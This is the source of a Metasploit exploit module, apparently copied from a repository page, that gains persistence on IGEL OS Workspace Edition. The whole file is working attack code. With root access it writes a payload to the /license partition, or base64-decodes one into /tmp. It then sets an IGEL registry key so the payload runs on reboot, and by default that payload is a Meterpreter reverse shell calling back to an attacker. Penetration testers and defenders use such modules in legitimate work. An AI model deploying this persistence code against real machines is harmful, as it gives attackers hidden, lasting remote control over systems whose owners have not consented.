Path: blob/master/modules/exploits/linux/persistence/igel_persistence.rb
31425 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6include Msf::Post::Linux7include Msf::Post::Linux::System8include Msf::Post::Unix9include Msf::Post::File10include Msf::Exploit::FileDropper11include Msf::Exploit::EXE12include Msf::Exploit::Local::Persistence1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'IGEL OS Persistent Payload',19'Description' => %q{20Gain persistence for specified payload on IGEL OS Workspace Edition, by writing21a payload to disk or base64-encoding and executing from registry.22},23'Author' => 'Zack Didcott',24'License' => MSF_LICENSE,25'Platform' => ['linux'],26'Targets' => [27[28'Linux Command', {29'Arch' => [ARCH_CMD],30'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp' },31'Type' => :nix_cmd32}33],34[35'Linux Dropper', {36'Arch' => [ARCH_X64],37'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },38'Type' => :linux_dropper39}40],41],42'DefaultTarget' => 0,43'SessionTypes' => ['shell', 'meterpreter'],44'DisclosureDate' => '2016-11-02', # IGEL OS 10 release date45'Notes' => {46'Stability' => [CRASH_SAFE],47'Reliability' => [REPEATABLE_SESSION],48'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]49}50)51)5253register_options([54OptString.new('REGISTRY_KEY', [55true,56'Registry key to use for automatically executing payload',57'userinterface.rccustom.custom_cmd_net_final'58]),59OptString.new('TARGET_DIR', [true, 'Directory to write payload (dropper only)', '/license']),60OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry (dropper only)', false])61])62end6364def validate65unless is_root?66fail_with(Failure::NoAccess, 'Session does not have root access')67end68end6970def install_persistence71validate7273case target['Type']74when :nix_cmd75command = payload.encoded76when :linux_dropper77if datastore['REGISTRY_ONLY']78print_status('Base64-encoding payload')79encoded_payload = Rex::Text.encode_base64(generate_payload_exe)80command = base64_command(encoded_payload)81else82print_status("Uploading payload to #{datastore['TARGET_DIR']}")83payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700)84command = local_command(payload_file)85end86end8788print_status('Writing persistence to registry')89write_registry(datastore['REGISTRY_KEY'], command)90if get_registry(datastore['REGISTRY_KEY']) != command91fail_with(Failure::Unknown, 'Failed to write to registry')92else93print_status('Registry written successfully')94print_status('The payload should be executed when the target reboots')95end96end9798def remount_license(opt = 'rw')99create_process('/bin/mount', args: ['-o', "remount,#{opt}", '/license'])100end101102def write_payload(contents, dir, perm)103remount_license('rw')104105filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"106write_file(filepath, contents)107chmod(filepath, perm)108109remount_license('ro')110111return filepath112end113114def base64_command(encoded_payload)115payload_dest = "/tmp/#{Rex::Text.rand_text_alpha(8)}"116"/bin/bash -c '/bin/echo '#{encoded_payload}' | /usr/bin/base64 -d > '#{payload_dest}'; /bin/chmod +x '#{payload_dest}'; '#{payload_dest}' &'"117end118119def local_command(payload_file)120command = "/bin/bash -c '/bin/mount -o remount,exec /license; '#{payload_file}' &'"121return command122end123124def get_registry(key)125create_process('/bin/get', args: [key])126end127128def write_registry(key, value)129create_process('/bin/setparam', args: [key, value])130end131end132133134